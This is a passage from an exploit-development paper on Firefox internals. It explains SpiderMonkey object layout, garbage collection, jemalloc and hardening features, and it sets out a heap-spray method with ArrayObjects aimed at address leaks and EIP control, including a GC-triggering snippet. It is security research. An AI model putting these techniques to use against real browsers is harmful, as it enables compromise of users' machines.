0:000> s ‑d 0 0x0 l?0xffffffff 40414140

09e10980 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5..... 09e10a00 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5.....

The reason of finding our marker value twice will become clear below. Now let's do a memory dump from a few dwords before the found value; I am going to annotate the dump from WinDbg to make the discussion easier to follow:

0:000> dd 09e10980‑20 l?48

[ Our arr ArrayObject ]

shape_ type_ slots elements

09e10960 0eed89a0 0f3709b8 00000000 09e10a00

[ Metadata of the old elements,

the default length of ArrayObjects is 6 ] flags initlen capacity length

09e10970 00000000 00000006 00000006 00000006

[ Old elements' address ]

09e10980 40414140 ffffff81 0f352880 ffffff85

09e10990 42434342 ffffff81 00000001 ffffff83

09e109a0 44454544 ffffff81 09e109b0 ffffff88

09e109b0 0eed89a0 0f3709e8 00000000 0c94e010

09e109c0 00000000 00000000 00000000 0000029a

09e109d0 0eed89a0 0f370a30 00000000 0d177010

09e109e0 00000000 00000000 00000000 0000029a

[ Metadata of relocated elements,

the length of our new ArrayObject is 0xe, or 14 in decimal ] flags initlen capacity length

09e109f0 00000000 0000000e 0000000e 0000000e

[ New elements' address ]

int32 jsval [A] string jsval [B]

09e10a00 40414140 ffffff81 0f352880 ffffff85

bool jsval [C]

09e10a10 42434342 ffffff81 00000001 ffffff83

object jsval (ArrayObject) [D]

09e10a20 44454544 ffffff81 09e109b0 ffffff88

09e10a30 46474746 ffffff81 00000000 ffffff87

object jsval (typed array) [E]

09e10a40 48494948 ffffff81 12634520 ffffff88

double jsval [F]

09e10a50 50515150 ffffff81 bab61ee0 3ff6a0bd

string jsval [G]

09e10a60 52535352 ffffff81 0eef9730 ffffff85

At the start of the memory dump (at 09e10960) we can see the metadata of our arr ArrayObject; the shape_, type_, slots and elements pointers. The slots pointer is NULL since our jsobject has no named properties. The elements pointer points to the jsval contents of the array at 09e10a00. These are actually the relocated contents of the array. At address 09e10970 we can see the original metadata of the elements (the default length of an array when not specified is always 6), and at 09e10980 the original contents. The elements (along with their metadata) were relocated while we were adding contents to the arr array.

The elements pointer after the relocation points to 09e10a00 where the jsval contents begin. Four dwords before that, at 09e109f0, we have their metadata; flags, initializedLength (or initlen), capacity, and length. As expected, initlen, capacity, and length are all 0xe.

At 09e10a00 there is our integer marker value 40414140 and at 09e10a04 its 32‑bit tag of ffffff81 denoting as an integer jsval [A]. At 09e10a08 we can see the string jsval for [B]. Based on a) whether the underlying platform is x86 or x86‑64, b) the length of the jsval string, and c) whether it is plain ASCII or unicode, the content bytes of the string are either inline or not. On x86 the maximum length for an inline ASCII string is 7 and 3 for unicode; on x86‑64 it is 15 for ASCII and 7 for unicode. Our [B] string has length 15 (0xf) therefore it is inlined. Let's see the contents of the address that the [B] string jsval points to:

0:000> dd 0f352880

flags length string's contents

0f352880 0000005d 0000000f 6c6c6548 46202c6f

0f352890 66657269 0021786f 00737365 00000004

0:000> db 0f352880

0f352880 5d 00 00 00 0f 00 00 00‑48 65 6c 6c 6f 2c 20 46 ]..Hello, F 0f352890 69 72 65 66 6f 78 21 00‑65 73 73 00 04 00 00 00 irefox!.ess

At 0f352880 it's the start of the metadata of our inline [B] string; the flags (0x5d), the length (0xf == 15 in decimal) and then at 0f352888 the ASCII contents of [B].

In contrast, the string jsval at 09e10a68 [G] is not inline. Again, the tag value of [G] is ffffff85 denoting as a string, and it's value points to 0eef9730:

0:000> dd 0eef9730

flags length pointer to string's contents 0eef9730 00000049 0000001f 0bcba840 00000000

0:000> dd 0bcba840

0bcba840 6c6c6548 46202c6f 66657269 202c786f

0bcba850 20646e61 6c6c6568 6761206f 006e6961

0:000> db 0bcba840

0bcba840 \

48 65 6c 6c 6f 2c 20 46‑69 72 65 66 6f 78 2c 20 Hello, Firefox,

0bcba850 \

61 6e 64 20 68 65 6c 6c‑6f 20 61 67 61 69 6e 00 and hello again.

At 0eef9730 we have the flags (0x49), length (0x1f == 31 in decimal), and at 0eef9738 a pointer to the actual bytes contents of the string (at 0bcba840). Actually SpiderMonkey strings are a lot more interesting and useful, so I refer the interested reader to js/src/vm/String.h. However, for the purposes of this paper the above details are adequate.

At 09e10a28 there is the [D] ArrayObject we have instantiated with a capacity of 666 (or 0x29a in hex); its tag is ffffff88 denoting it as an object, and its value is the address 09e109b0, where we can see the ArrayObject metadata as we have talked about them before:

0:000> dd 09e109b0

shape_ type_ slots elements

09e109b0 0eed89a0 0f3709e8 00000000 0c94e010

flags initlen capacity length

09e109c0 00000000 00000000 00000000 0000029a

0:000> dd 0c94e010‑10

flags initlen capacity length

0c94e000 00000000 00000005 0000029a 0000029a

arr[5][0] = 666; arr[5][1] = "sixsixsix"; 0c94e010 0000029a ffffff81 0eed78a0 ffffff85

0c94e020 3b645a1d 3fe54fdf 00000000 ffffff83

0c94e030 09e109d0 ffffff88 5a5a5a5a 5a5a5a5a

The elements pointer of the [D] ArrayObject points to 0c94e010 where we can see the first element of this array, i.e. arr[5][0], namely the integer jsval 0x29a (or 666 in decimal). At 0c94e000 there are the metadata associated with these elements.

Here we can clearly see the difference between the initializedLength, the capacity, and the length of an ArrayObject. The initializedLength and the capacity from the metadata at 09e109b0 are both zero, while it's length is 0x29a; this is the case since at [D] we simply declared an ArrayObject with a length of 0x29a without actually adding any elements to it. Then we added five elements (arr[5][0] to arr[5][4]), and the new initializedLength became 5, while the capacity became equal to length, i.e. 0x29a (all these from the metadata at 0c94e000).

Before we move on, let's also look at SpiderMonkey typed arrays since we will use them in our attack methodology later on. Typed arrays are a very useful JavaScript feature since they allow us to situate on the heap arbitrary sized constructs of controlled content (to arbitrary byte granularity). Previous Firefox attacks, like [P2O] and [REN], relied on the fact that SpiderMonkey used to situate the actual content (data) and the corresponding metadata of typed arrays contiguously in memory. Unfortunately this is no longer the case; the GC tenured heap and the jemalloc heap (both of which I will explain shortly) keep these separated, even when we try to force such a layout. However, typed arrays remain very useful.

At [E] we instantiate a Uint32Array object, i.e. a typed array jsobject holding unsigned 32‑bit integers, with an initial length of 128, whose object‑type jsval we can find at address 09e10a48; its value is the address 12634520. There we see the Uint32Array object, starting with its metadata (for example, at 12634538 its length of 0x80, or 128 in decimal), and at 12634548 the pointer to the actual buffer contents of the typed array (0dd73600).

0:000> dd 12634520

12634520 0af6c5c8 0f370e80 00000000 7475a930

12634530 126344f0 ffffff88 00000080 ffffff81

12634540 00000000 ffffff81 0dd73600 ffffff81

12634550 00000000 00000000 00000000 00000000

0:000> dd 0dd73600

0dd73600 61636361 71737371 61636361 71737371

0dd73610 61636361 71737371 61636361 71737371

0dd73620 61636361 71737371 61636361 71737371

0dd73630 61636361 71737371 61636361 71737371

0dd73640 61636361 71737371 61636361 71737371

0dd73650 61636361 71737371 61636361 71737371

0dd73660 61636361 71737371 61636361 71737371

0dd73670 61636361 71737371 61636361 71737371

As expected, the contents of the typed array at 0dd73600 are precisely what we assigned in our code. The buffer that holds these contents is allocated on the heap and its size is four times the number of uint32 elements we assigned to the typed array (since each element is four bytes long). So, for our [E] typed array, its contents buffer at 0dd73600 is 512 bytes long (4 * 128 == 512).

‑‑‑‑[ 2.2 ‑ Generational garbage collection (GGC)

Since release 32.0 [F32] Firefox has a new garbage collection (GC) implementation enabled by default (on all its supported operating systems) called 'generational garbage collection' (GGC). In GGC there are two separate heaps; a) the nursery on which most SpiderMonkey objects are allocated, and b) the tenured or major heap which is more or less the old (before release 32.0) normal SpiderMonkey GC heap. When the nursery becomes full (or some other event happens) we have the so‑called minor GC pass. During this, all the temporary short‑lived JavaScript objects on the nursery are collected and the memory they were occupying becomes again available to the nursery. On the other hand, the JavaScript objects on the nursery that are reachable in the heap graph (i.e. alive) are moved to the tenured heap (which also makes the memory they were occupying available to the nursery). Once an object is moved to the tenured heap, during a minor GC pass, it is checked for outgoing pointers to other objects on the nursery heap. Such objects are moved from the nursery to the tenured heap as well, since they are actually reachable. This iterative process continues until all reachable objects are moved from the nursery to the tenured heap, and the memory they were occupying is set to available for the nursery. This generational (also called 'moving') garbage collection approach has resulted in impressive performance gains for SpiderMonkey since most JavaScript allocations are indeed short‑lived.

To make it clear how all the above fit in the context of the Firefox browser, I should talk about JSRuntime [JSR]. An instantiated JSRuntime object (see js/src/vm/Runtime.cpp for the class) holds all JavaScript variables, objects, scripts, etc. SpiderMonkey as compiled for Firefox is single‑threaded by default, therefore Firefox usually has just one JSRuntime. However, (web) workers can be launched/created and each one of them has its own JSRuntime. Each different JSRuntime has one separate GGC heap (nursery and tenured), and they don't share heap memory. Furthermore they are isolated from each other; one JSRuntime cannot access objects allocated by a different JSRuntime.

The nursery has a hardcoded size of 16 megabytes allocated with VirtualAlloc() (or with mmap() on Linux). It operates as a standard bump allocator; a pointer is maintained that points to the first unallocated byte in the nursery memory area. To make an allocation of X bytes, first there is a check if there are X bytes available in the nursery. If there are, X is added to the pointer (the "bump") and its previous value is returned to service the allocation request. If there aren't X bytes available, a minor GC is triggered. During this GC pass the new object is moved to the tenured heap, and if its slots or elements (see section 2.1) are above a certain number they are moved to the jemalloc‑managed heap.

The tenured heap (you may also see it referred to as 'major' or simply 'GC' heap in Firefox's code base) has its own metadata and algorithms to manage memory. These are distinct from both the nursery and the jemalloc heaps. Apart from being the heap for JavaScript objects that survived a nursery GC pass, some allocations go directly on it bypassing the nursery. Examples of such cases are known long‑lived objects (e.g. global objects), function objects (due to JIT requirements), and objects with finalizers (i.e. most DOM objects). I will not go into more details for the tenured heap since they are not relevant to the exploitation methodology.

‑‑‑‑[ 2.3 ‑ jemalloc (and GGC)

In this section I will only discuss the necessary jemalloc knowledge you require in order to follow the analysis in section 5. For a more detailed treatise I refer you to another Phrack paper which is still applicable to the current state of jemalloc [PSJ].

jemalloc is a bitmap allocator designed for performance and not primarily memory utilization. One of its major design goals is to situate allocations contiguously in memory. The latest version of jemalloc is 4.0.0 at this time, but Firefox includes a version forked from major release 2. Firefox's fork is called mozjemalloc in the source tree, but it doesn't include any significant changes from jemalloc 2. It is used in Firefox for allocations that become too big (based on some limits I will discuss shortly) for the tenured heap. However, there are some exceptions; certain allocations triggerable from JavaScript can bypass both the nursery and the tenured heap and go directly to the jemalloc‑managed heap. I will not discuss this further, so you can consider it an exercise ;)

In jemalloc memory is divided into regions which are categorized according to their size. Specifically, the size categories, called 'bins', in Firefox are 2, 4, 8, 16, 32, 48, ..., 512, 1024, up to inclusive 2048. malloc() requests larger than 2048 bytes are handled differently and are not in scope for this paper. Each bin (or size category) is associated with several 'runs'; these are the actual containers for the regions. A run can span one or more virtual memory pages which are divided into regions of the bin size that the run belongs to. Bins have the metadata for their runs and through them free regions are located. The following diagram is a simplified version of the original one from [PSJ] and summarizes the above notes.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑

| | |

| Run #0 Run #1 | | Run #0 Run #1 |

| .‑‑‑‑‑‑‑‑‑‑‑‑‑..‑‑‑‑‑‑‑‑‑‑‑‑‑. | | .‑‑

| | || | | | |

| | Page || Page | | | | Page || Page | |

| | .‑‑‑‑‑‑‑‑‑. || .‑‑‑‑‑‑‑‑‑. | | | | .

| | | | || | | | | | | |

| | | Regions | || | Regions | | | | | | Regions | || | Regions | | |

| | |[] [] [] | || |[] [] [] | | | | | |

| | | ^ ^ | || | | | | | | |

| | `‑|‑‑‑‑‑|‑' || `‑‑‑‑‑‑‑‑‑' | | | | `

| `‑‑‑|‑‑‑‑‑|‑‑‑'`‑‑‑‑‑‑‑‑‑‑‑‑‑' | | `‑‑

`‑‑‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑

| |

| |

.‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑. .‑‑

| | | | |

| free regions' list | ... | free regions' list | ...

| | |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑

bin of size category 8 bin of size category 16

Allocation requests (i.e. malloc() calls) are rounded up and assigned to a bin. Then, through the bin's free regions' metadata, a run with a free region is located. If none is found, a new run is allocated and assigned to the specific bin. Therefore, this means that objects of different types but with similar sizes that are rounded up to the same bin are contiguous in the jemalloc heap. Another interesting feature of jemalloc is that it operates in a last‑in‑first‑out (LIFO) manner (see [PSJ] for the free algorithm); a free followed by a garbage collection and a subsequent allocation request for the same size, most likely ends up in the freed region.

At this point let's utilize an example to see how the jemalloc heap is used in Firefox along with the GGC heaps, namely nursery and tenured. In the diagram below the nursery heap is nearly full and we have an allocation request for a JSObject with an N number of slots.

........................................

+‑+ +‑++‑‑‑‑‑‑‑+ +

|T| Temporary |J|| slots | Survivor | | Free : jemalloc | | object | || N | JSObject | | memory : +‑‑‑‑‑‑‑‑‑‑‑+

+‑+ +‑++‑‑‑‑‑‑‑+ + slots +‑‑‑‑‑‑‑+ : | +‑‑‑‑‑‑‑+ |

........................................slots | |

N | |

Before minor GC : | +‑‑‑‑‑‑‑+ |

JSObject ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ : | ^ ^

allocation : | | | |

request +‑++‑‑‑‑‑‑‑+ : | | |

Nursery doesn't have |J|| slots | : | | | |

free memory for +‑‑‑‑‑‑‑‑‑‑+| || N |+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | |

JSObject + its slots | +‑++‑‑‑‑‑‑‑+ :

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| |

v v : |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

|+‑++‑++‑++‑++‑++‑++‑++‑+ |+‑++‑+

||T||T||T||T||T||T||T||J| ||J||J| | : | | |

|| || || || || || || || | || || |

|+‑++‑++‑++‑++‑++‑++‑++‑+ |+‑++‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

Nursery + Tenured : | | |

|

|

+‑‑‑‑‑‑‑‑‑‑‑‑+

|

.....................................|..

|

First unallocated nursery byte | After minor GC : | | |

+‑‑‑‑‑+ |

| |

v v : |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

| | |+‑++‑++‑+

| | ||J||J||J|+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | || || || | slots_ pointer

| | |+‑++‑++‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

Nursery Tenured :

........................................

The JSObject itself can fit (or not, doesn't affect the rest of the events) in the free space of the nursery, but its slots cannot. So, the JSObject is placed on the nursery and since it becomes full, a minor GC is triggered. If it couldn't fit in the nursery a minor GC would also be triggered. During this GC and assuming that the JSObject is a survivor object, i.e. not a temporary one, it is moved from the nursery to the tenured heap (or placed directly there if it couldn't fit in the nursery in the first place). If the number of its slots N is greater than a certain number (more on this later), they are not placed on the tenured heap with the object itself. Instead, a new allocation for the size of the N slots is made on the jemalloc heap, and the slots are placed there. Then the slots_ pointer of the jsobject stores the address of the jemalloc heap region that contains the slots.

‑‑[ 3 ‑ Firefox's hardening features

Firefox has some security hardening features that are useful to know if you are doing or plan to do any exploit development for it. I will try to list them all here to give you the references to start digging from, but I will only expand on those that affect our goal for this paper.

‑‑‑‑[ 3.1 ‑ PresArena

PresArena is Gecko's specialized heap for CSS box objects (Gecko is Firefox's layout engine). When a CSS box object is freed, the free PresArena heap 'slot' is added to a free list based on its type. This means that PresArena maintains separate free heap 'slot' lists for each different CSS box object type. An allocation request is serviced from the free list of the type of objects it is trying to allocate. This basically means that for CSS box objects PresArena implements type‑safe memory reuse, mostly killing use‑after‑free exploitation. I say 'mostly' because in some cases a use‑after‑free bug can still be exploitable via same‑object‑type trickery, like playing with attributes' values for example.

PresArena also services types of objects that related to CSS box objects but are not. The free lists of these objects are per size and not per type. This of course means that use‑after‑free bugs for these object types are exploitable as usual.

The code for PresArena is at layout/base/nsPresArena.{h, cpp}.

‑‑‑‑[ 3.2 ‑ jemalloc heap sanitization

Since jemalloc rounds up allocation requests to the closest size category (bin), it is possible that a small object may be assigned to the same region that a bigger object was occupying before being freed (both objects smaller or equal to the size category of course). Therefore, in such a case we could use the small object to read back memory left by the bigger object. This could reveal DLL pointers and could help in bypassing ASLR. To avoid this jemalloc sanitizes regions after they are freed. Current Firefox versions use the value e5e5e5e5 to sanitize; older versions used a5a5a5a5. This hardening feature also makes some uninitialized memory bugs unexploitable. In any case, if you're fuzzing Firefox these are nice values to look for in crash logs.

‑‑‑‑[ 3.3 ‑ Garbage collection

Being able to trigger a garbage collection on demand is fundamental when trying to create specific object layouts on the heap. Firefox provides no unprivileged JavaScript API to do this. Although not having an on‑demand GC API call is not listed as a hardening feature, it is clear that Firefox developers actively try to remove direct execution paths from unprivileged JavaScript functions to GC. A GC can be triggered for a variety of reasons; Firefox has these divided into two major categories, those related to the JavaScript engine and those that aren't. The second category includes reasons related to the layout engine (for example frame refreshing), as well as ones more general to the browser (for example when the main process exits). You can find the names of all the reasons at js/public/GCAPI.h. These are the start for finding ways to trigger a GC on demand from unprivileged JavaScript code.

A simple one to get you started is TOO_MUCH_MALLOC. If you search for this in Firefox's code and backtrace it with your favorite code reading tool, you will conclude to the following execution path:

dom::CanvasRenderingContext2D::EnsureTarget()

+

|

+‑‑> JS_updateMallocCounter()

+

|

+‑‑> GCRuntime::updateMallocCounter() +

|

+‑‑> GCRuntime::onTooMuchMalloc() +

|

+‑‑> triggerGC(JS::gcreason::TOO_MUCH_MALLOC)

After reading dom::CanvasRenderingContext2D::EnsureTarget(), which is in the file dom/canvas/CanvasRenderingContext2D.cpp, we can easily figure out how to reach it:

var my_canvas = document.createElement("canvas"); my_canvas.id = "my_canvas";

my_canvas.width = "100";

my_canvas.height = "115";

document.body.appendChild(my_canvas);

for(var i = 0; i < 10; i++)

{

var my_context = my_canvas.getContext("2d"); my_canvas.width = 36666; my_context.fillRect(21, 11, 66, 60);

}

You can find many others; some more reliable, some less, just read the code. Another simple one is to repeatedly create strings and append them to a DOM node; see the archive for this example. Just keep in mind that you may have to tweak some parameters, like the number of repetitions, the size of strings, etc, in order to get it to work on as many as possible different systems with different characteristics (available RAM, Firefox versions).

‑‑‑‑[ 3.4 ‑ Sandbox

I will only be discussing Firefox's sandbox on Windows; the Linux and OS X implementations are based on different technologies, seccomp and Seatbelt, but aim to achieve similar goals. All the code is available at security/sandbox/{win, linux, mac}.

On Windows, Firefox is using the code of the Chromium sandbox. In short, there is a parent process (broker) that is responsible for starting sandboxed children processes (targets). The communication between the two is implemented via a Firefox‑specific C++ IPC called IPDL (Inter‑process communication Protocol Definition Language). There are three different sandbox policies for children processes implemented, a) for layout content, b) for media playback, and c) for other plugins. These are implemented by the following functions, a) SetSecurityLevelForContentProcess(), b) SetSecurityLevelForGMPlugin(), and c) SetSecurityLevelForPluginProcess() respectively. You can find their implementations at security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp.

Flash in Firefox is an out‑of‑process plugin. This means that Firefox launches an executable called plugin‑container.exe which then loads the Flash plugin, sandboxed by Flash's own "protected mode". On Windows this means that it is a low integrity process, has restricted access token capabilities, is not allowed to launch new processes, etc. Firefox plans to stop enabling Flash's protected mode and place Flash under the above Chromium‑based sandbox as well, but this is not the case currently (41.0.1).

‑‑[ 4 ‑ The shadow (over Firefox) utility

I initially re‑designed unmask_jemalloc [UNJ] (a GDB/Python tool we have written with huku) with a modular design to support all three main debuggers and platforms (WinDBG, GDB and LLDB). I renamed the tool to shadow when I added Firefox/Windows/WinDBG‑only features.

The following is an overview of the new design (read the arrows as "imports"). The goal is to have all debugger‑dependent code in the *_driver and *_engine modules.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

debugger‑required

frontend (glue)

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑+

| gdb_driver | | lldb_driver | | pykd_driver |

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑+

^ ^

| |

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |core logic

| |debugger‑agnostic)

| |

| |

+‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑+ |

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> | shadow |<‑‑‑‑‑+

| util | +‑‑‑‑‑‑> | |

| | | +‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑+ | ^ ^

| | | | | |

| | | +‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+ | symbol |

| | | | | |

+‑+ | | | +‑‑‑‑‑‑‑‑‑‑+ |

| | | | | jemalloc | | +‑‑‑‑‑‑‑‑+‑‑‑| nursery |

| | | | +‑‑‑‑‑‑‑‑‑‑+ |

| | | | ^ ^ ^ |

| | | | | | | |

| | | | | | +‑‑‑‑‑‑+‑‑‑

| | | | | | |

| | +‑‑‑+‑‑‑+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑

| | | | | |

| +‑‑‑‑‑+‑‑‑+‑‑‑‑+‑‑‑‑+ |

| | | | | |

‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑‑+‑‑‑

| | | | | |

| | | | | | debugger

| | | | | | dependent APIs

| | | | | |

| | | | | |

| | | | v | | v |

| +‑‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑‑‑‑

+‑>| gdb_engine | +‑‑| lldb_engine | +‑‑| pykd_engine |

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑

^ ^

| |

+‑‑‑+ +‑‑‑‑‑‑‑‑‑+ +

| | |

| | |

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | |

| | |debugger‑provided backend

| | |

| | |

+‑‑‑‑‑+ +‑‑‑‑‑‑+ +‑‑‑‑

| gdb | | lldb | | pykd |

+‑‑‑‑‑+ +‑‑‑‑‑‑+ +‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

shadow can help you during Firefox exploit development when you're trying to understand the impact of your JavaScript code on the heap. The symbol command allows you to search for SpiderMonkey and DOM classes (and structures) of specific sizes. This is useful when you're trying to exploit use‑after‑free bugs, or when you want to position interesting victim objects to overwrite/corrupt. All the supported commands are:

0:000> !py c:\\tmp\\shadow\\pykd_driver help

[shadow] De Mysteriis Dom Firefox

[shadow] v1.0b

[shadow] jemalloc‑specific commands:

[shadow] jechunks : dump info on all available chunks [shadow] jearenas : dump info on jemalloc arenas [shadow] jerun <address> : dump info on a single run [shadow] jeruns [‑cs] : dump info on jemalloc runs

[shadow] ‑c: current runs only

[shadow] ‑s <size class>: runs for the given size

[shadow] class only

[shadow] jebins : dump info on jemalloc bins [shadow] jeregions <size class> : dump all current regions of the

[shadow] given size class

[shadow] jesearch [‑cfqs] <hex> : search the heap for the given hex

[shadow] dword

[shadow] ‑c: current runs only

[shadow] ‑q: quick search (less

[shadow] details)

[shadow] ‑s <size class>: regions of the given size

[shadow] only

[shadow] ‑f: search for filled region

[shadow] holes)

[shadow] jeinfo <address> : display all available details for

[shadow] an address

[shadow] jedump [filename] : dump all available jemalloc info

[shadow] to screen (default) or file

[shadow] jeparse : parse jemalloc structures from

[shadow] memory

[shadow] Firefox‑specific commands:

[shadow] nursery : display info on the SpiderMonkey

[shadow] GC nursery

[shadow] symbol [‑vjdx] <size> : display all Firefox symbols of the

[shadow] given size

[shadow] ‑v: only class symbols with

[shadow] vtable

[shadow] ‑j: only symbols from

[shadow] SpiderMonkey

[shadow] ‑d: only DOM symbols

[shadow] ‑x: only non‑SpiderMonkey

[shadow] symbols

[shadow] pa <address> [<length>] : modify the ArrayObject's length

[shadow] (default new length 0x666)

[shadow] Generic commands:

[shadow] version : output version number [shadow] help : this help message

You can find the latest version of shadow, along with installation instructions, in the code archive that comes with this paper and also on GitHub [SHD]. Just a note; I only had time to test everything on Windows and WinDBG. Linux/GDB support is almost complete (though no support for the symbol command). I haven't done any work for supporting OS X/LLDB yet. All contributions are of course welcome ;)

‑‑[ 5 ‑ Exploitation

In the introduction I set the goal of this paper to be a generic, reusable exploitation methodology that can be applied to as many as possible Firefox bugs (and bug classes). To be more specific, this high‑level goal can be broken down into the following:

1) Leak of xul.dll's base address. This DLL is the main one for Firefox and it contains the code of both SpiderMonkey and Gecko (Firefox's layout engine). This huge DLL contains all the ROP gadgets you may ever want.

2) Leak of the address in Firefox's heap where we have some control due to the bug we are exploiting. This can be very useful since we can use it to create fake objects with valid addresses that point to data we control.

3) The ability to read any number of bytes from any address we choose, i.e. an arbitrary leak.

4) And finally, of course, EIP control (to start a ROP chain, for example).

In order to achieve these we will be using standard JavaScript arrays, i.e. ArrayObject jsobjects, as primitives. In the past, researchers have used typed arrays for similar purposes [P2O, REN]. However, as we have seen in section 2.1, the user‑controllable content (data) of typed arrays and their metadata (like their length and their data pointer) are no longer contiguous in memory. On the other hand, I have found that ArrayObjects can be forced to place their metadata next to their data on the jemalloc heap and have the following helpful characteristics:

1) We can control their size to multiples of 8 bytes, and also have partial control of their contents, both due to the IEEE‑754 64‑bit jsval representation we have seen.

2) We can easily and controllably spray with ArrayObjects from JavaScript.

3) We can move the sprayed ArrayObjects to the jemalloc‑managed heap after we fill the nursery. Since arrays are jsobjects, when they grow bigger they behave according to the way I have already described in section 2.3.

‑‑‑‑[ 5.1 ‑ ArrayObjects inside ArrayObjects

Therefore, we spray ArrayObjects as elements of a container ArrayObject; when the container becomes large enough, the elements (which are themselves ArrayObjects) are moved to the jemalloc heap and bring with them their contents and metadata. At js/src/gc/Marking.cpp we can see this in the method js::TenuringTracer::moveElementsToTenured() ‑‑ excuse the annotated with comments pseudocode, see the actual source for the full details:

/*

* nslots here is equal to the capacity of the ArrayObject plus 2 * (ObjectElements::VALUES_PER_HEADER).

*/

size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader‑>capacity;

...

if (src‑>is<ArrayObject>() && nslots <= GetGCKindSlots(dstKind)) { /*

* If this is an ArrayObject and nslots is less or equal * to 16 (GetGCKindSlots(dstKind)) there is no new allocation. */

...

return nslots * sizeof(HeapSlot);

}

...

/*

* Otherwise there is a new allocation of size nslots that

* goes on the jemalloc heap, the elements are copied, and the * elements_ pointer is set.

*/

dstHeader = \ reinterpret_cast<ObjectElements*>(zone‑>pod_malloc<HeapSlot>(nslots));

js_memcpy(dstHeader, srcHeader, nslots * sizeof(HeapSlot)); nursery().setElementsForwardingPointer(srcHeader, dstHeader, nslots);

Let's revisit again the example from section 2.3 and present it in the context of moving ArrayObjects and their metadata to the jemalloc heap.

........................................

+‑+ +‑++‑‑‑‑‑‑‑+

|T| Temporary |A|| elems | ArrayObject | | Free : jemalloc | | object | || | + elements | | memory : +‑‑‑‑‑‑‑‑‑‑‑+

+‑+ +‑++‑‑‑‑‑‑‑+

........................................elems | |

Before minor GC : | +‑‑‑‑‑‑‑+ |

var A = new Array(); :

+‑‑‑‑+

| var A[1] = new Array(); // a : | | | |

| +

Next free| | ... var A[15] = new Array(); // b | : | | |

+‑‑‑+ | | +

| | | | +‑‑‑‑‑‑‑‑‑‑‑

v v v v | : |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑‑

|+‑++‑++‑++‑+ +‑+ | |+‑++‑+

||T||T||A||a| ... |b|+‑+ ||J||J| | : | | |

|| || || || | elems | | || || | | :

|+‑++‑++‑++‑+ +‑+ |+‑++‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑

Nursery + Tenured : | | |

|

|

+‑‑‑‑‑‑‑‑‑‑‑‑+

|

.....................................|..

|

Next free | After minor GC : | | |

+‑‑‑‑‑+ |

| |

v v : |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

| | |+‑++‑++‑+

| | ||J||J||A|+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | || || || | elements_ pointer

| | |+‑++‑++‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

Nursery Tenured :

........................................

The above diagram describes what happens to the Firefox heaps when we run the following JavaScript code. We create a container ArrayObject; this is initially allocated on the nursery. This is A from above.

var container = new Array();

As we add elements (ArrayObjects) to the container, a minor (nursery) garbage collection happens. We trigger this by filling the 16 MBs of the nursery with 66000 ArrayObjects of 30 elements each ‑‑ remember each element is 8 bytes (jsval), but the resulting ArrayObject of size 240 goes to the 256‑sized jemalloc run (there are also the metadata).

// 16777216 / 256 == 65536

var spray_size = 66000;

